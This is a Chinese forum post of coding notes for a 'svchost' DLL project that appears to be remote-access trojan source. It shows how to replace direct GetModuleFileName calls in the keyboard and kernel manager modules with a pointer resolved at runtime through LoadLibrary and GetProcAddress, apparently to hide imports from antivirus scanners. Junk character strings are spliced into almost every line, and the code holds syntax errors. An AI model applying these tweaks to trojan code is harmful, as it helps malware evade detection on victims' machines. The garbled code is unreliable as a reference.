[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记' z+ a+ y( I; z0 F9 n
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
+ {  N" q, o5 u3 ^8 }' L----------------------------------------
. l7 x/ I: {% D0 }2 [) K3 hDTDY.h：  I  O7 {0 Q8 e, c

' [9 F% M3 u4 K#if _MSC_VER>1000' Q" T, D2 s4 G+ _0 H
#pragma once1 f) J) Z! X4 F" q1 B7 }$ n5 F5 O
#endif //_MSC_VER>1000; ?  j1 H: W& o
#include<windows.h>
/ C$ X# @+ u8 [8 B0 o! D# K% \7 p, w4 |! d0 w
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);; C% s0 v* z* q! l
class DTDY* l* q. S' R5 M% d
{- o' N: J8 U7 n% `2 Z
public:5 d0 W# H0 ]  W6 z  {7 `, u8 v4 A
DTDY();
) B; s) O/ ]2 C6 [virtual ~DTDY();% a2 n$ q' \4 H
public:0 H! y; S3 K9 W- C9 G. d0 F4 N
static pGetModuleFileNameA MyGetModuleFileName;
# [( T( Z9 D( G) ~static BOOL FunInitiallization();
/ K6 z# X* m2 F: P};
9 q( F% E- u" a7 K5 @& l#endif( N+ N& U' M+ \' o2 u8 R
----------------------------------------
, M' `6 @$ q2 y; g+ z' s/ X) U+ D/ {: G
DTDY.cpp:. f4 q; e. x5 Y7 ~! v% d. m- v
/ r9 {- c# a# z
#include "DTDY.h"
0 z4 h6 w. b& _pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;& {# y* Q8 V; c* ?
DTDY:TDY()
# m' C- t& Y$ _% m; X{
5 P. k' t: k/ f  A: R}
$ o: W# a/ H9 g' A+ iDTDY::~DTDY()9 ^7 _# z* e+ W
{
! w: \9 }0 r& C! j/ }}
/ o( h; ^. g5 y, eBOOL DTDY::FunInitiallization()$ d2 G6 Y+ D. l% r2 `' a7 S' h
{! `) t' \, O) C( p; i/ E0 k8 y
HMODULE hModule=LoadLibrary("kernel32.dll");! f6 ?0 r$ [. \0 E8 }6 [  G5 }; ]
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");0 X  r) T3 V, p; j& b6 f5 f$ \
if(!MyGetModuleFileName=) return FALSE;* Q: ?1 K8 u4 i
' t: P: r2 f4 ?$ ^2 j' @
return TRUE;$ p% B5 R  Q2 w' ~  f' \: H
}
; D+ X+ a9 [3 Z----------------------------------------
+ N9 i# A3 U( J8 s; U" A  N3 nsvchost.cpp:. `& X- e, ?( |2 |( g
$ b5 s& i9 f: a: Z
#include "DTDY.h"  i, g0 o) S+ \5 v& j% x( k9 O
8 ^6 ^2 \2 M1 o1 }1 N7 d4 v+ u
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
8 Y, M, n* z0 o: [# v. T) L9 s7 L{' k* y4 {4 z; D8 I  a" [5 h
switch(ul_reason_for_call)
7 ^- U5 d: w* C- V: I{
& P4 @: }, q6 kcase DLL_PROCESS_ATTACH:/ m" K  h) j2 I
if(!DTDY::FunInitiallization()) return FALSE;
3 T0 x! a; y- h$ w% j4 x- F8 C! V9 B$ ?) f1 N  q
break;
% Q4 v: [, P$ B/ v. v& t& Z$ f}6 x/ z5 E2 m+ h0 c4 _+ p( E/ z
}1 O+ N. G6 L: [

/ O$ y3 p- s' G$ \
2 `$ ^! L( v* J4 c: h4 V* K. D/ AGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def4 X9 E. m6 P, q% P6 [' s3 y
改写为7 }- m4 o4 \3 `( Y1 B: k
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
6 X* |# i/ {1 }5 p$ G----------------------------------------% b+ n$ k) g7 Z4 K9 S
KernelManager.cpp:
" N; r* R1 g4 w4 M& c0 V4 M: p; I  e- s1 U: \' e# P
#include "../DTDY.h"- S1 ]$ P" \3 V5 K1 _' R/ K
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));8 J% Q3 B% J* I2 P5 X/ i
改写为5 {- |* p* b& n
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));; A( K8 h' y& [, X
----------------------------------------